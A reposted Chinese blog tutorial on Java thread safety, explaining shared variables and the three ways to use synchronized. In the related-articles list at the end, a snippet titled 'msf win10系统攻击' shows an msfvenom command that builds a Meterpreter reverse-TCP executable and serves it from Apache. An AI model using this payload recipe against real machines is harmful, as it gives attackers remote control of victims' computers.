Java线程安全问题详解与相关面试题理解

news/2024/4/30 6:10:37/文章来源:https://blog.csdn.net/qq_63691275/article/details/127143439

 一 、什么时候数据在多线程并发的环境下会存在安全问题呢?

        三个条件:

                条件1:多线程并发

                条件2:有共享数据

                条件3:共享数据有修改的行为

        满足以上三个条件之后,就会存在线程安全问题。

举个与女朋友取钱的例子:

(我和女朋友同时去柜台取钱,在我取完,余额还没变得一瞬间女朋友也在取,取完后才更新;如果银行线程存在安全问题的话,那银行就亏了一万块。)

线程安全一般是用来保护Java中的三种变量的;

Java中的三种变量:

实例变量:在堆中

静态变量:在方法区中

局部变量:在栈中

        注意:局部变量永远不会存在线程安全问题,因为局部变量不共享(一个线程一个栈)

局部变量在栈中,所以局部变量永远不会共享。

        实例变量在堆中,堆只有一个;静态变量在方法区中,方法区也只有一个。所以方法去和堆都是多线程共享的,可能存在安全问题。(😶‍🌫️重点😶‍🌫️

(也就是成员变量才可能存在线程安全问题)

二 、怎么解决线程安全问题呢?

        线程排队执行(不能并发),

        用排队执行解决线程安全问题,

        这种机制被称为:线程同步机制。专业术语叫做:线程同步,实际上就是线程不能并发了,线程必须排队执行。

怎么解决线程安全问题呢?

答:“使用线程同步机制”。

线程同步就是线程排队了,线程排队了就会牺牲一部分效率,数据安全第一位,只有数据安全了,我们才可以谈效率。数据不安全,怎么谈效率呢?

(按上述例子说就是我取完后,余额变化后,女朋友才能去取钱,这时候银行(线程)就安全了)

线程同步

异步编程模型:

线程t1和线程t2,各自执行各自的,t1不管t2,t2不管t1,谁也不需要等谁,这种编程模型称为异步编程模型。(其实就是多线程并发(效率较高))

“异步就是并发”


同步编程模型:

线程t1和线程t2,在线程t1执行的时候,必须等待t2线程执行结束,或者说在t2线程执行的时候,必须等待t1线程执行结束,俩个线程之间发生了等待关系,这就是同步编程模型。(效率较底,线程排队执行)

“同步就是排队”

不用join()方法去解决线程安全问题

注意:在没学后面之前,很多人第一直觉就是利用join()方法去解决这个安全问题,但首先这是低效的(因为调用这个方法是等待这个线程执行结束后,下面其他线程才进入并发),而且也是不好操作的,一般是在主线程里调用的该方法,而且还会有异常。所以不用这个方法进行解决线程安全问题。

利用synchronized关键字

synchronized三种写法:

形式1:线程同步机制的语法是:
                   synchronized(){
                   //线程同步代码块
               }
synchronized后面小括号中传的数据是相当重要的。这个数据必须是多线程共享的数据,才能达到多线程排队。小括号里面写什么?(只要是共享对象就行)那要看想要哪些线程同步,假设t1,t2,t3,t4,t5,有5个线程只希望t1,t2,t3排队,t4,t5不排队,怎么办?
你一定要在小括号里写一个t1,t2,t3共享的对象。而这个对象对于t4,t5来说不是共享的。


形式2:在实例方法上运用synchronized。这样用的话就相当于synchronized小括号里的对象是this,所以这种方式不灵活。

还有一个缺点:synchronized出现在实例方法上,表示整个方法体都需要同步,可能会无故扩大同步范围,程序执行效率会降低,所以这种方式不常用。(但如果共享对象就是this还是建议用这种的,因为写法比较简单)

(形式1和形式2保护实例变量)


形式3:在静态方法上用synchronized,表示找类锁,类锁永远只有一把,就算创建一百个对象,类锁也只有一把。


(一个对象一把锁,一个类就一把锁)synchronized实际就是一种锁机制。

面试实例理解synchronized关键字

题1:

 

题2:

 

题3:

 

题4:

 

开发中应该怎么解决线程安全问题呢?

1、 尽量使用局部变量代替”实例变量和静态变量“。

2、如果必须是实例变量,那么可以考虑创建多个对象,这样实例变量的内存就不共享了。(一个线程对应一个对象,100个线程对应着一百个对象,对象不共享,就不存在数据安全问题了。)

3、如果不能使用局部变量,也不能创建更多个对象,那就只能选择synchronized了。线程同步机制。

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_17655.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

[SpringMVC] SpringMVC入门

✨✨个人主页:沫洺的主页 📚📚系列专栏: 📖 JavaWeb专栏📖 JavaSE专栏 📖 Java基础专栏📖vue3专栏 📖MyBatis专栏📖Spring专栏📖SpringMVC专栏 💖&#x1f4…

SSD详解

论文地址:SSD: Single Shot MultiBox Detector | SpringerLink 1.Abstract SSD将不同的高宽比和比例的边界框的输出空间离散为一组默认框。在预测时,网络为每个默认框中每个对象类别的存在生成分数,并对该框进行调整,以更好地匹配对象形状。…

CMake中macro的使用

在https://blog.csdn.net/fengbingchun/article/details/127144948 中介绍了CMake中function的使用&#xff0c;这里介绍下macro的使用&#xff0c;它与function有很多的相似性。 macro的定义格式如下&#xff1a;后面可作为命令供调用 macro(<name> [<arg1> ...]…

DB2在Linux下静默安装

目录前言1. 下载并上传db2压缩包到Linux2. 检测db2安装环境3. 安装db2数据库软件4. 配置db2数据库系统用户5. 创建数据库实例6. 配置TCP/IP通信服务7. 配置数据库8. 启动和关闭数据库实例9. 修改权限10 数据库客户端和工具链接11. 创建数据库多实例前言 db2是IBM公司开发的一款…

【C++】AVL树模拟实现

文章目录AVLTree概念AVLTree插入实现AVLTree测试AVLTree的性能AVLTree概念 AVLTree&#xff08;搜索平衡二叉树&#xff09; 性质一&#xff1a;每一个节点的左右子树都是AVLTree 性质二&#xff1a;每个节点左右子树高度只差不超过1 优点&#xff1a;提高查找效率&#xff0c…

python容器

1.什么是数据容器&#xff1a; 一种可以存储多个元素Python数据类型 2.Python有哪些数据容器 列表list 元祖tuple 字符串str 集合set 字典dict 一&#xff1a;列表 list 可以容纳多个元素(上限2**63-1)可以容纳不同类型的元素数据是有序存储的&#xff08;索引&#xff09;允许…

三维重建经典算法:ICP、ARAP、Marching Cubes、TSDF

&#x1f60d;&#x1f60d;&#x1f60d;更多精彩福利&#x1f60d;&#x1f60d;&#x1f60d; 三维重建经典算法 1. ICP 迭代最近点算法&#xff08;Iterative Closest Point, ICP&#xff09;是一种点云配准算法&#xff0c;用来求解两堆点云之间的变换关系&#xff1a;…

MySQL怎么运行的系列(十一)快照读、锁定读、半一致性读 和 加锁语句分析

本系列文章目录展开/收起MySQL怎么运行的系列&#xff08;一&#xff09;mysql体系结构和存储引擎MySQL怎么运行的系列&#xff08;二&#xff09;Innodb缓冲池 buffer pool 和 改良版LRU算法Mysql怎么运行的系列&#xff08;三&#xff09;InnoDB存储结构之行结构和页结构MySQ…

Spring源码分析(四)Bean生命周期源码分析2:合并BeanDefinition、FactoryBean

Spring容器启动&#xff0c;扫描得到所有BeanDefinition之后&#xff0c;就会先实例化所有非懒加载的单例Bean的 入口 Spring容器启动刷新的方法里&#xff1a; org.springframework.context.support.AbstractApplicationContext#refresh org.springframework.context.suppor…

RT-Thread信号量

目录 信号量 信号量基本概念 信号量基本概念 信号量的特性 二值信号量的运作机制 计数型信号量的运作机制 信号量相关接口 信号量控制块、 创建信号量 删除信号量 初始化信号量 脱离信号量 释放信号量 获取信号量 无等待获取信号量 使用场合 线程同步 锁 中断与…

单片机控制发光二极管的显示(2)

我们今天来说说单片机是如何控制发光二极管的。 如果P0口作为通用I/O使用,由于漏极开路&#xff0c;需要外接上拉电阻&#xff0c;而P1~P3口内部已有30k0左右的上拉电阻。下面来讨论PI~P3口如何与LED发光二极管的驱动连接问题。 使用单片机的并行端口P1 ~P3直接驱动发光二极管&…

创新实践 | SaaS增长新趋势:产品驱动增长PLG(下)

SaaS产品增长第一步&#xff0c;一定是找方向&#xff0c;SaaS产品的北极星指标处于商业目标&#xff0c;用户价值&#xff0c;和战略选择的交点上&#xff0c;且一般落实在功能使用量上。与To C产品的AARRR略有不同&#xff0c;To B SaaS产品驱动增长包含六大杠杆&#xff0c;…

java基于springboot+vue的新冠肺炎疫苗接种管理系统 element

新冠肺炎疫苗接种管理系统的开发运用springboot技术,MIS的总体思想,以及MYSQL等技术的支持下共同完成了该系统的开发,实现了新冠肺炎疫苗接种管理的信息化,使用户体验到更优秀的新冠肺炎疫苗接种管理系统,管理员管理操作将更加方便,实现目标。 环境需要 1.运行环境&#xff1a…

LVC | 一种简单的小样本目标检测方法

欢迎关注我的公众号 [极智视界]&#xff0c;获取我的更多笔记分享 大家好&#xff0c;我是极智视界&#xff0c;本文解读一下 Label, Verify, Correct (LVC)&#xff1a;一种简单的小样本目标检测方法。 本文的目标是小样本目标检测 (FSOD)&#xff0c;即在给定少量训练实例的…

谷歌翻译 失效/无法使用方法

谷歌2022年9月26日左右停止了在中国地区的谷歌翻译服务包含 translate.google.cn 与 translate.googleapi.com&#xff0c;其给出原因为“使用量低” 来源 techcrunch 在论坛中找到了前段时间谷歌翻译工作人员回复&#xff0c;翻译成中文csdn说辱华&#xff0c;不给通过 这个回…

msf win10系统攻击

kali ip 192.168.141.129 windwos10 192.168.141.128 一、木马生成 msfvenom -p windows/meterpreter/reverse_tcp LHOST本机ip LPORT本机端口 -f exe > shell.exe //保存到跟目录 二、开启apach服务 service apache2 start 查看状态 ervice apache2 status 接下来把我…

java基于SpringBoot+Vue+nodejs的个人家庭理财记账本管理系统 element

家庭理财记账系统主要是为了提高用户的工作效率和更方便快捷的满足用户,更好存储所有数据信息及快速方便的检索功能,对家庭理财记账系统的各个模块是通过许多今天的发达家庭理财记账系统做出合理的分析来确定考虑用户的可操作性,遵循开发的系统优化的原则,经过全面的调查和研究…

接收节点无线广播发送的数据,并printf打印出来(含核心代码)_物联网挑战赛第四届第一题

目录 题目 赛题 格式说明 计分规则 评分步骤 题目解析 右上角节点代码解析 其余11个节点代码解析 比赛时的思考 具体解析 核心代码 右上角节点代码 其余11个节点代码 题目 赛题 数据广播节点—> 如图所示&#xff0c;平台节点不安装天线&#xff0c;12 个节点 …

详解库存监控 到货提醒步骤

首先看看具体监控效果&#xff0c;在浏览器的书签栏增加一个库存监控提醒的按钮&#xff0c;点击该按钮即启动库存监控提醒项目。 项目运行时&#xff0c;自动打开指定的网址&#xff0c;并从事先准备好的txt文件中读取型号&#xff0c;输入到页面上的型号搜索框中&#xff0c…

java基于springboot+element的实现医院预约挂号系统 nodejs

网络的广泛应用给生活带来了十分的便利。所以把医院预约挂号管理与现在网络相结合,利用java技术建设医院预约挂号系统,实现医院预约挂号的信息化。则对于进一步提高医院预约挂号管理发展,丰富医院预约挂号管理经验能起到不少的促进作用。 医院预约挂号系统能够通过互联网得到广…